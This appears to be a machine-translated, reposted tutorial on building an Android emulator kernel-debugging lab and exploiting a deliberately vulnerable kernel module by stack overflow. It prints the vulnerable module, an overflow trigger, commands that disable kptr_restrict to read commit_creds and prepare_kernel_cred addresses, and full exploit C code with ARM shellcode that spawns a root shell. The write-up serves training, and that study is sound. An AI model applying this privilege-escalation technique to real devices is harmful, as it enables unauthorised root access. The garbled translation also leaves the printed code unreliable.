Android Kernel exploit technology: Environment building & Stack Overflow actual combat

Source: Internet
Author: User
Tags echo command

Objective

AndroidKernel is kernel-based, so exploiting the exploits in the kernel is similar to using the kernel in the Linux Android general x86 platform linux . The main difference is that the Android use of the arm assembly and the construction of the environment. This article on my recent practice to do a share, in fact, very simple.

Kernel Debug Environment Setup

Build Platform:ubuntu 16.04

androidthe emulator is used here to debug the kernel. Download the kernel code first

git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git

Then download github an Android exploit on the project,

git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges

The kernel is then compiled with the files in the project patch patch to compile the vulnerable modules in the project into the linux kernel

    git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities

Note here: goldfish directories and kernel_exploit_challenges directories to be in the same directory

Then download the arm-linux-androideabi-4.6 cross-compilation tool chain. After the download is done, unzip it and add it to the environment variable.

    tar xvf arm-linux-androideabi-4.6.tar.bz2 export PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH

Then go goldfish to the directory and start compiling

    make goldfish_armv7_defconfig && make -j8

Once the compilation is complete, there will be two main files: goldfish/vmlinux and goldfish/arch/arm/boot/zImage . The previous one is used for loading at debug time gdb , and later for loading when the Android emulator starts.

Download Android sdk to download and run the Android simulator below.

sdkhttp://dl.google.com/android/android-sdk_r24.4.1-linux.tgz

And then sdk unzip the

    tar xvf android-sdk_r24.4.1-linux.tgz

Add the Android-sdk-linux/tools to the environment variable, adding the following command to the end of ~/.BASHRC < change the directory in the command to your directory >

export PATH=/home/haclh/hacktools/android-sdk-linux/tools:$PATH

Then reopen a shell, use the following command < Download the JDK first, and set the environment variables >

android

Then download the two below

To

After the download is complete. First view the downloaded image file

    $android list targetsAvailable Android targets:----------id: 1 or "android-19"     Name: Android 4.4.2     Type: Platform     API level: 19     Revision: 4     Skins: HVGA, QVGA, WQVGA400, WQVGA432, WSVGA, WVGA800 (default), WVGA854, WXGA720, WXGA800, WXGA800-7in

Then create the emulator

android create avd --force -t "android-19" -n kernel_challenges

Then go to the goldfish directory, use our kernel to run the emulator using the following command, and start with a gdbserver on port 1234 to facilitate kernel debugging

emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s

The first run has a similar result:

    $ Emulator-show-kernel-kernel ARCH/ARM/BOOT/ZIMAGE-AVD Kernel_challenges-no-boot-anim-no-skin-no-audio-no-windo W-qemu-monitor Unix:/tmp/qemusocket,server,nowait-swarning:userdata image already in use, changes would not persist! Creating filesystem with parameters:size:576716800 Block size:4096 Blocks per group:32768 inodes per group : 7040 Inode size:256 Journal blocks:2200 label:blocks:140800 block groups:5 Reserved Block Group size:39created filesystem with 11/35200 inodes and 4536/140800 Blockswarning:cache image already on use, changes'll no T persist!  Creating filesystem with parameters:size:69206016 Block size:4096 Blocks per group:32768 inodes per group: 4224 Inode size:256 Journal blocks:1024 label:blocks:16896 block groups:1 Reserved block Group si ze:7created filesystem with 11/4224 inodes and 1302/16896 blocks ..................................................................

To facilitate the subsequent operation we need to add the cross-compiler toolchain to the environment variables. Add the following command to the end of the ~/.BASHRC < change the directory in the command to your directory >

exportPATH=/home/haclh/hacktools/arm-linux-androideabi-4.6/bin/:$PATH

Then reopen the shell, go to the goldfish directory, load the vmlinux to debug the kernel

arm-linux-androideabi-gdb vmlinux

If everything is OK, you should get the output similar to the following

GNU gdb (GDB) 7.3.1-gg2Copyright (C) 2011 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later 

Then connect the debug port inside the simulator

 (gdb) target remote :1234Remote debugging using :1234cpu_v7_do_idle () at arch/arm/mm/proc-v7.S:7474movpc, lr(gdb)

If you can see that the output indicates that the kernel debugging can be done properly.

Kernel stack Overflow exploit

First look at the vulnerability code kernel_exploit_challenges/challenges/stack_buffer_overflow/module/stack_buffer_overflow.c :

#include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/proc _fs.h> #include <linux/string.h> #include <asm/uaccess.h> #define Max_length 64module_license ("GPL"); Module_author ("Ryan Welton"); Module_description ("Stack Buffer Overflow Example"); static struct Proc_dir_entry *stack_buffer_proc_entry;int proc_ Entry_write (struct file *file, const char __user *ubuf, unsigned long count, void *data) {char buf[max_length]; if (Copy_from_user (&buf, Ubuf, Count)) {PRINTK (kern_info "stackbufferprocentry:error copying data from USERSP Ace\n "); Return-efault; } return count;} static int __init stack_buffer_proc_init (void) {stack_buffer_proc_entry = Create_proc_entry ("Stack_buffer_overflow", 0666, NULL); Stack_buffer_proc_entry->write_proc = Proc_entry_write; PRINTK (kern_info "created/proc/stack_buffer_overflow\n"); return 0;} static void __exit stack_buffer_proc_exit (void) {if (stack_bufFer_proc_entry) {remove_proc_entry ("Stack_buffer_overflow", stack_buffer_proc_entry); } PRINTK (kern_info "Vuln_stack_proc_entry removed\n");} Module_init (Stack_buffer_proc_init); Module_exit (Stack_buffer_proc_exit);

The code above creates a /proc/stack_buffer_overflow device file that is called when a system call is made to the device file and the write function is invoked proc_entry_write for processing.

The vulnerability is obvious, where proc_entry_write a byte-sized stack buffer is defined in the function, and then the data is 64 buf copy_from_user(&buf, ubuf, count) copied from the user space, and the buf size and content are user-controllable. So when we enter more than 64 a byte we can overwrite other data, such as return address, and so on, and then hijack the program to execute the flow into our shellcode right to raise.

First, let's try to trigger the vulnerability. Open the simulator first, then the ADB shell enters the simulator and uses the Echo command to enter 72 bytes of data into the/proc/stack_buffer_overflow device.

echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /proc/stack_buffer_overflow


You can see that the value of the PC register is 0x41414141 successfully hijacked. The kernel does not open PXN when testing, so we can write shellcode in the user configuration to let the kernel execute. The extraction method is very simple, the kernel state calls the commit_creds(prepare_kernel_cred(0)); elevation permission to root, and then returns the user state to execute execl("/system/bin/sh", "sh", NULL); a root permission to complete the shell right.

prepare_kernel_cred commit_creds The address of the function is obtained first. The /proc/kallsyms name of all the kernel symbols and their location in memory are saved in the file.

However, in the most recent kernel version, the linux kernel currently prohibits general users from acquiring symbols in order to make exploitation of kernel vulnerabilities more difficult. Specifically, you can see here.

When enabled kptr_restrict we cannot get the kernel symbolic address.

[email protected]:/ # cat /proc/kallsyms | grep commit_creds 00000000 T commit_creds

In this article, disable it, regardless of him.

 [email protected]:/ # echo 0 > /proc/sys/kernel/kptr_restrict [email protected]:/ # cat /proc/kallsyms | grep commit_creds c0039834 T commit_creds[email protected]:/ # cat /proc/kallsyms | grep prepare_kernel_cred c0039d34 T prepare_kernel_cred

After disabling, we can /proc/kallsyms get commit_creds the address by and prepare_kernel_cred .

At this point, the right to solve the problem, the following is to return to the user state, the x86 platform has instructions to return iret to the user state, the arm next return to the user state is more simple. The arm bits in the lower cpsr register are used to indicate the M[4:0] operating mode of the processor, which can be seen in detail.

So we cpsr set the bit of the register M[4:0] to the latter to 10000 indicate that the processor has entered user mode.

So now the use of ideas are:

    • Invoke commit_creds(prepare_kernel_cred(0)) elevated permissions

    • Call the mov r3, #0x40000010; MSR CPSR_c,R3; set cpsr register to cpu enter user mode

    • Then execute execl("/system/bin/sh", "sh", NULL); a root permission-shell

The final exp :

#include <stdio.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/        mman.h> #define MAX 64int open_file (void) {int fd = open ("/proc/stack_buffer_overflow", O_RDWR);        if (fd = =-1) Err (1, "open"); return FD;}                void payload (void) {printf ("[+] enjoy the shell\n"); Execl ("/system/bin/sh", "sh", NULL);} extern uint32_t shellcode[];asm (". text\n" ". Align 2\n" ". Code 32\n" ". Globl shellcode\n\t" "shellcode:\n\t"// Commit_creds (prepare_kernel_cred (0));//Get Root "LDR R3, =0xc0039d34\n\t"//prepare_kernel_cred addr "MOV R     0, #0 \n\t "" BLX r3\n\t "" LDR R3, =0xc0039834\n\t "//commit_creds addr" BLX r3\n\t "" mov R3, #0x40000010 \n\t "" MSR        Cpsr_c,r3\n\t "" LDR R3, =0x879c\n\t "//Payload function addr" BLX r3\n\t "); void Trigger_vuln (int fd) {        #define MAX_PAYLOAD (MAX + 2 * sizeof (void*)) Char buf[max_payload]; MeMset (buf, ' A ', sizeof (BUF));        void * PC = buf + MAX + 1 * sizeof (void*);        printf ("Shellcdoe addr:%p\n", ShellCode);        printf ("payload:%p\n", payload);   * (void * *) PC = (void *) ShellCode; RET Addr/* kaboom! */write (FD, buf, sizeof (BUF));}        int main (void) {int fd;        FD = Open_file ();        Trigger_vuln (FD);        Payload (); Close (FD);}


Reference links

http://www.cnblogs.com/armlinux/archive/2011/03/23/2396833.htmlhttp://blog.sina.com.cn/s/blog_6ac051b2010123cz.htmlhttp://bobao.360.cn/learning/detail/3702.htmlhttps://github.com/Fuzion24/AndroidKernelExploitationPlayground

Android Kernel exploit technology: Environment building & Stack Overflow actual combat

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.